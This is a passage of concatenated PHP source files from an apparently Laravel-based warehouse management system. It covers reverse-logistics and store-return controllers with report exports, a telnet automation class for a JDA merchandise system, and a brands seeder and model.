{
$query = StoreReturnPickinglist::where('move_doc_number', '=', $docNo)->update($data);
}
public static function getStocktransferPickReport($data= array(), $getCount=false )
{
$query = StoreReturnPickinglist::select('store_return_pickinglist.to_store_code', 'stores.store_name','store_return_pickinglist.to_store_code', 'store_return_pickinglist.assigned_to_user_id','store_return_pickinglist.move_doc_number', 'store_return_pick_details.sku as upc','store_return_pick_details.quantity_to_pick', 'store_return_pick_details.moved_qty', 'users.firstname', 'users.lastname', 'product_lists.sku', 'product_lists.description', 'store_return_pick_details.created_at', DB::raw('wms_store_return_pick_details.moved_qty - wms_store_return_pick_details.quantity_to_pick as variance'))
->join('store_return_pick_details','store_return_pickinglist.move_doc_number','=','store_return_pick_details.move_doc_number','left')
->join('stores','store_return_pickinglist.from_store_code','=','stores.store_code','left')
->join('users','store_return_pickinglist.assigned_to_user_id','=','users.id','left')
->join('product_lists','store_return_pick_details.sku','=','product_lists.upc','left')
->where('store_return_pickinglist.pl_status','=',18)
->where('store_return_pick_details.quantity_to_pick','<>','store_return_pick_details.moved_qty')
->where('store_return_pickinglist.assigned_to_user_id','!=', 0);
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('store_return_pickinglist.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if($data['sort'] == 'doc_no') $data['sort'] = 'store_return_pickinglist.move_doc_number';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
}<file_sep><?php
class ReverseLogisticController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct() {
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
}
/**
* Display a listing of the resource.
*
* @return Response
*/
public function getdiscrepancy()
{
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['url_back'] = URL::to('picking/list');
$this->data['url_export'] = URL::to('reverse_logistic/exportCSV');
$this->data['url_exportexcel'] = URL::to('reverse_logistic/exportCSVexcelfile');
//added this because there is not closed in the detail
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_entry_date = Input::get('filter_entry_date', NULL);
$filter_sku = Input::get('filter_sku', NULL);
$filter_upc = Input::get('filter_upc', NULL);
$filter_so = Input::get('filter_so', NULL);
$filter_from_slot = Input::get('filter_from_slot', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$picklist_doc = Input::get('picklist_doc', null);
//for back
$sort_back = Input::get('sort_back', 'doc_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
$arrParams = array(
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_entry_date' => $filter_entry_date,
'filter_doc_no' => $filter_doc_no,
'filter_stock_piler' => $filter_stock_piler,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'limit' => 30
);
$results = Reverselogistic::getRLVarianceReport($arrParams)->toArray();
$results_total = Reverselogistic::getRLVarianceReport($arrParams, true);
// echo "<pre>"; print_r($results);die();
// Pagination
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_entry_date' => $filter_entry_date,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_from_slot' => $filter_from_slot,
'sort' => $sort_detail,
'order' => $order_detail
);
/* print_r($results);
exit();*/
$this->data['reverse_discrepancy'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_detail_count'] = $results_total;
$this->data['counter'] = $this->data['reverse_discrepancy']->getFrom();
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_upc'] = $filter_upc;
$this->data['filter_so'] = $filter_so;
$this->data['filter_from_slot'] = $filter_from_slot;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
// Details
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
$url = '?filter_doc_no=' . $filter_doc_no . '&filter_upc=' . $filter_upc . '&filter_so=' . $filter_so;
$url .= '&filter_entry_date=' . $filter_entry_date;
$url .= '&page=' . $page_detail;
$this->layout->content = View::make('reverse_logistic.reverse_discrepancy', $this->data);
}
public function closeReverseStatus()
{
$tl_number = Input::get('tl_number',null);
$picklist = ReverseLogistic::getReverseTLnumbercclose($tl_number);
return Redirect::to('reverse_logistic/reverse_list')->with('message', Lang::get('reverselogistic.reverse_text_successfully'));
}
public function ReverseTLnumbersync()
{
ReverseLogistic::getReverseTLnumbersync();
return Redirect::to('reverse_logistic/reverse_list')->with('message','Sync To Mobile Successfully');
}
public function exportDetailsCSV() {
///Check Permissions
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_doc_no = Input::get('filter_doc_no', null);
$filter_entry_date = Input::get('filter_entry_date', null);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
$this->data = Lang::get('store_return');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'id' => $so_id,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'so_no' => $so_no,
'filter_so_no' => $filter_so_no,
'filter_doc_no' => $filter_doc_no,
'filter_entry_date' => $filter_entry_date,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'limit' => NULL
);
$results = Reverselogistic::getRLVarianceReport($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('reverse_logistic.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('return_to_warehouse_' . date('Ymd') . '.pdf');
}
public function getReportNewExcel()
{
Excel::create('Return_Warehouse'. date('Ymd'), function($excel){
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_doc_no = Input::get('filter_doc_no', null);
$filter_entry_date = Input::get('filter_entry_date', null);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
$this->data = Lang::get('store_return');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'id' => $so_id,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'so_no' => $so_no,
'filter_so_no' => $filter_so_no,
'filter_doc_no' => $filter_doc_no,
'filter_entry_date' => $filter_entry_date,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'limit' => NULL
);
$results = Reverselogistic::getRLVarianceReport($arrParams);
// foreach ($query as $keyvalue)
{
$excel->sheet('MTS Receiving', function($sheet) use ($results)
{
$sheet->setStyle(array(
'font' => array(
'name' => 'Calibri',
'size' => 11,
'bold' => false,
'border' => 0
)
));
$sheet->setPageMargin(array(
0.25, 1, 0.25, 1
));
$sheet->mergeCells('A1:I2');
$sheet->setCellValue('A1', 'RSCI - Return Warehouse Report');
$sheet->setBorder('A1:I2', 'thin');
$sheet->cell('A1', function($cell){
$cell->setFontWeight('bold');
$cell->setAlignment('center');
});
$sheet->setWidth("C", 20);
$sheet->setWidth("B", 10);
$sheet->setWidth("E", 10);
$header = array();
$header['A'] = 'MTS no.';
$header['B'] = 'Store';
$header['C'] = "SKU";
$header['D'] = "UPC";
$header['E'] = "Short Name";
$header['F'] = "Quantity Ordered";
$header['G'] = "Piler Name";
$header['H'] = "Date Entry";
$header['I'] = "Variance";
$start = 3;
foreach ($header as $key => $head)
{
$sheet->setCellValue($key.$start, $head);
$sheet->cell($key.$start, function($cell) {
$cell->setAlignment('center');
$cell->setValignment('center');
$cell->setFontWeight('bold');
});
}
$_start = 4;
$keys = array("A", "B", "C", "D", "E", "F", "G", "H", "I");
foreach ($results as $doc_no)
{
$sheet->setCellValue('A'.$_start, $doc_no['move_doc_number']);
$sheet->setCellValue('B'.$_start, $doc_no['store_name']);
$sheet->setCellValue('C'.$_start, $$doc_no['sku']);
$sheet->setCellValue('D'.$_start, $doc_no['upc']);
$sheet->setCellValue('E'.$_start, $doc_no['description']);
$sheet->setCellValue('F'.$_start, $doc_no['delivered_qty']);
$sheet->setCellValue('G'.$_start, $doc_no['firstname']. ' '.$doc_no['lastname']);
$sheet->setCellValue('H'.$_start, $doc_no['updated_at']);
$sheet->setCellValue('I'.$_start, $doc_no['moved_qty'] - $doc_no['delivered_qty']);
$_start++;
}
});
}
})->export('xlsx');
}
public function exportCSVexcelfile()
{
$arrParams = array(
'filter_entry_date' => Input::get('filter_entry_date', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_status' => Input::get('filter_status', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = reverselogistic::getRLVarianceReport($arrParams);
$output = Lang::get('picking.col_doc_no1'). ',';
$output .= Lang::get('picking.col_store_name'). ',';
$output .= Lang::get('picking.col_sku'). ',';
$output .= Lang::get('picking.col_upc'). ',';
$output .= Lang::get('picking.col_shrt_nm'). ',';
$output .= Lang::get('picking.col_qty_to_pick'). ',';
$output .= Lang::get('picking.col_stock_piler'). ',';
$output .= Lang::get('picking.col_entry_date'). ',';
$output .= Lang::get('picking.col_var'). "\n";
foreach ($results as $key => $value) {
$exportData = array(
'"' . $value->move_doc_number . '"',
'"' . $value->store_name . '"',
'"' . $value->sku . '"',
'"' . $value->upc . '"',
'"' . $value->description . '"',
'"' . $value->quantity_to_pick . '"',
'"' . $value->firstname . ' '. $value->lastname .'"',
'"' .date("M d, Y", strtotime($value->created_at)). '"',
'"' . $value->variance . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="return_to_warehouse_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
public function exportReverseUnlisted() {
///Check Permissions
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
$this->data = Lang::get('store_return');
$this->data['so_status_type'] = Dataset::getTypeWithValue("SR_STATUS_TYPE");
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'id' => $so_id,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'so_no' => $so_no,
'filter_so_no' => $filter_so_no,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'limit' => NULL
);
$results = Reverselogistic::getRLUnlistedReport($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('reverse_logistic.report_unlisted', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('reverse_logistic_unlisted' . date('Ymd') . '.pdf');
}
public function exportCSV() {
// Check Permissions
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
$this->data = Lang::get('store_return');
$this->data['so_status_type'] = Dataset::getTypeWithValue("SR_STATUS_TYPE");
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'id' => $so_id,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'so_no' => $so_no,
'filter_so_no' => $filter_so_no,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'limit' => NULL
);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('reverse_logistic.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('reverse_logistic_variance_' . date('Ymd') . '.pdf');
}
public function getreverselist()
{
$this->data = Lang::get('reverselogistic');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['url_export'] = URL::to('reverse_logistic/exportCSV');
$this->data['url_export_unlisted'] = URL::to('reverse_logistic/exportCSVunlisted');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['url_detail'] = URL::to('reverse_logistic/detail');
// Search filters
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
// Search Filters
$filter_entry_date = Input::get('filter_entry_date', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_transfer_no = Input::get('filter_transfer_no', NULL);
$filter_action_date = Input::get('filter_action_date', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_entry_date' => $filter_entry_date,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = ReverseLogistic::getReverseLogisticList($arrParams)->toArray();
$results_total = reverselogistic::getReverseLogisticList($arrParams, TRUE);
$this->data['arrFilters'] = array(
'filter_entry_date' => $filter_entry_date,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order
);
$this->data['reverselogisticlist'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_count'] = $results_total;
$this->data['counter'] = $this->data['reverselogisticlist']->getFrom();
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_transfer_no'] = $filter_transfer_no;
$this->data['filter_action_date'] = $filter_action_date;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_entry_date=' . $filter_entry_date . '&filter_doc_no=' . $filter_doc_no;
$url .= '&filter_status=' . $filter_status . '&filter_store=' . $filter_store;
$url .= '&filter_stock_piler=' . $filter_stock_piler;
$url .= '&filter_transfer_no=' . $filter_transfer_no;
$url .= '&filter_action_date=' . $filter_action_date;
$url .= '&page=' . $page;
$this->layout->content = View::make('reverse_logistic/reverse_list', $this->data);
}
public function getSODetails() {
// Check Permissions
// URL
// Message
$picklistDoc = Input::get('picklist_doc', NULL);
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['pick_status_type'] = Dataset::getTypeWithValue("PICKLIST_STATUS_TYPE");
//added this because there is not closed in the detail
$this->data['url_back'] = URL::to('reverse_logistic/reverse_list' );
unset($this->data['pick_status_type'][2]);
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_sku = Input::get('filter_sku', NULL);
$filter_upc = Input::get('filter_upc', NULL);
$filter_so = Input::get('filter_so', NULL);
$filter_from_slot = Input::get('filter_from_slot', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
//for back
$sort_back = Input::get('sort_back', 'doc_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
$arrParams = array(
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_from_slot' => $filter_from_slot,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'picklist_doc' => $picklistDoc,
'limit' => 30
);
$results = ReverselogisticDetails::getReversedetails($arrParams);
$results_total = ReverselogisticDetails::getReversedetails($arrParams, true);
// Pagination
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'picklist_doc' => $picklistDoc,
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_from_slot' => $filter_from_slot,
'sort' => $sort_detail,
'order' => $order_detail
);
$this->data['reversecountdetail'] = Paginator::make($results->toArray(), $results_total, 30);
$this->data['picklist_detail_count'] = $results_total;
$this->data['counter'] = $this->data['reversecountdetail']->getFrom();
$this->data['picklist_doc'] = $picklistDoc;
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_upc'] = $filter_upc;
$this->data['filter_so'] = $filter_so;
$this->data['filter_from_slot'] = $filter_from_slot;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
// $this->data['filter_status_detail'] = $filter_status_detail;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
// Details
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
$url = '?filter_sku=' . $filter_sku . '&filter_upc=' . $filter_upc . '&filter_so=' . $filter_so;
$url .= '&filter_from_slot=' . $filter_from_slot . '&picklist_doc=' . $picklistDoc;
$url .= '&page=' . $page_detail;
/*
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_upc = ($sort_detail=='upc' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_short_name = ($sort_detail=='short_name' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_delivered_quantity = ($sort_detail=='delivered_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_allocated_quantity = ($sort_detail=='allocated_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_dispatched_quantity = ($sort_detail=='dispatched_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
*/
//header table sort order
// Permissions
$this->layout->content = View::make('reverse_logistic.detail', $this->data);
}
public function assignPilerFormReverse() {
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
$sort = Input::get('sort', 'so_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data = Lang::get('store_return');
$this->data['so_no'] = Input::get('so_no');
$this->data['filter_so_no'] = $filter_so_no;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['filter_created_at'] = $filter_created_at;
$this->data['filter_status'] = $filter_status;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['url_back'] = URL::to('reverse_logistic/reverse_list');
$this->data['params'] = explode(',', Input::get('so_no'));
$this->data['info'] = ReverseLogistic::getInfoBySoNo($this->data['params']);
$this->layout->content = View::make('reverse_logistic.assign_piler_form', $this->data);
}
public function assignToStockPilerReversepost() {
// Check Permissions
$pilers = implode(',' , Input::get('stock_piler'));
//get moved_to_reserve id
$arrParams = array('data_code' => 'SR_STATUS_TYPE', 'data_value'=> 'assigned');
$storeReturnStatus = Dataset::getType($arrParams)->toArray();
$arrSoNo = explode(',', Input::get("so_no"));
foreach ($arrSoNo as $soNo) {
$arrParams = array(
'assigned_by' => Auth::user()->id,
'assigned_to_user_id' => $pilers, //Input::get('stock_piler'),
'so_status' => $storeReturnStatus['id'], //assigned
);
ReverseLogistic::assignToStockPilerReverse($soNo, $arrParams);
// AuditTrail
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
$data_before = '';
$data_after = 'MTS no. : ' . $soNo . ' assigned to :' . $fullname;
$arrParams = array(
'module' => Config::get("audit_trail_modules.return_wrhouse"),
'action' => Config::get('audit_trail.assign_return'),
'reference' => 'MTS no.: '. $soNo,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
return Redirect::to('reverse_logistic/reverse_list')->with('message', Lang::get('reverselogistic.text_success_assign'));
}
private function getStockPilers()
{
$stock_pilers = array();
foreach (User::getStockPilerOptions() as $item) {
$stock_pilers[$item->id] = $item->firstname . ' ' . $item->lastname;
}
return array('' => Lang::get('general.text_select')) + $stock_pilers;
}
/**
* Show the form for creating a new resource.
*
* @return Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @return Response
*/
public function store()
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return Response
*/
public function show($id)
{
//
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param int $id
* @return Response
*/
public function update($id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return Response
*/
public function destroy($id)
{
//
}
}
<file_sep><?php
require_once 'library/jdatelnet.php';
class TLnumber
{
protected $jda;
protected $db2 = null;
protected $db2_host;
protected $db2_username;
protected $db2_password;
protected $db2_database;
public function __construct($hostname, $username, $password, $library, $debug_level = 1)
{
$this->jda = new jdatelnet($hostname);
$this->jda->debugLvl = $debug_level;
$this->db2_host = $hostname;
$this->db2_username = $username;
$this->db2_password = $<PASSWORD>;
$this->db2_database = $library;
}
public function Login($username, $password, $library)
{
$jda = $this->jda;
$jda->login($username, $password);
$result = $jda->screenCheck('Merchandise Management System');
if($result)
{
return true;
}
else
{
$result = $jda->screenCheck('is allocated to another job.');
if($result)
{
$jda->write(ENTER, true); $jda->show();
return true;
}
else
{
return false;
}
}
}
public function Initiate()
{
$jda = $this->jda;
}
public function DoReceivingTL($tl_number)
{
$jda = $this->jda;
$jda->write('09', true); $jda->show();
$jda->write('01', true); $jda->show();
$jda->write('10', true); $jda->show();
$jda->write('18', true); $jda->show();
$jda->write('8001', true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write($tl_number, true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write('SYS', true); $jda->show();
$jda->write(F6, true); $jda->show();
$jda->write(F7, true); $jda->show();
$jda->write(F7, true); $jda->show();
$jda->write(F10, true); $jda->show();
$jda->write(ENTER, true); $jda->show();
$jda->write(F7, true); $jda->show();
}
}<file_sep><?php
class BrandsSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
Brands::truncate();
$data = array(
array(
'brand_code' => 'family_mart',
'brand_name' => 'Family Mart'
),
array(
'brand_code' => 'gap',
'brand_name' => 'GAP'
)
);
foreach ($data as $d) {
Brands::create($d);
}
}
}<file_sep><?php
class Brands extends Eloquent {
protected $table = 'brands';
public static function getBrandsOption($data = array()) {
$query = Brands::where(function($query_sub) {
$query_sub->where('deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('deleted_at', '=', NULL);
});
$result = $query->get();
return $result;
}
public static function getBrandNameById($id) {
return Brands::where('id', '=', $id)->lists('brand_code', 'id');
}
}<file_sep><?php
class ReverseLogistic extends Eloquent {
protected $table = 'reverse_logistic';
public static function getReverseTLnumbercclose($tl_number)
{
$query=DB::table('reverse_logistic')
->where('reverse_logistic.move_doc_number',$tl_number)
->where('reverse_logistic.so_status', 22)
->where('reverse_logistic.assigned_to_user_id','!=', 0)
->update(['reverse_logistic.so_status' =>'23']);
}
public static function getRLVarianceReport($data= array(), $getCount=false)
{
$query = ReverseLogistic::select('reverse_logistic.move_doc_number', 'stores.store_name', 'reverse_logistic_det.upc','reverse_logistic_det.created_at', 'users.firstname', 'users.lastname', 'product_lists.sku','reverse_logistic_det.delivered_qty','reverse_logistic.updated_at','reverse_logistic_det.moved_qty','product_lists.description',DB::raw('CONCAT(firstname, " ", lastname) as fullname, (moved_qty - delivered_qty) as variance'))
->JOIN('reverse_logistic_det','reverse_logistic.move_doc_number','=','reverse_logistic_det.move_doc_number','LEFT')
->JOIN('users','reverse_logistic.assigned_to_user_id','=','users.id','LEFT')
->JOIN('stores','reverse_logistic.from_store_code','=','stores.store_code','LEFT')
->JOIN('product_lists','reverse_logistic_det.upc','=','product_lists.upc','LEFT')
->where('reverse_logistic.so_status','=',23)
->where('reverse_logistic.assigned_to_user_id','!=', 0)
->where('reverse_logistic_det.delivered_qty','<>','reverse_logistic_det.moved_qty');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('reverse_logistic.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_entry_date']) ) $query->where('reverse_logistic.updated_at', 'LIKE', '%'. $data['filter_entry_date'] . '%');
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function getRLUnlistedReport()
{
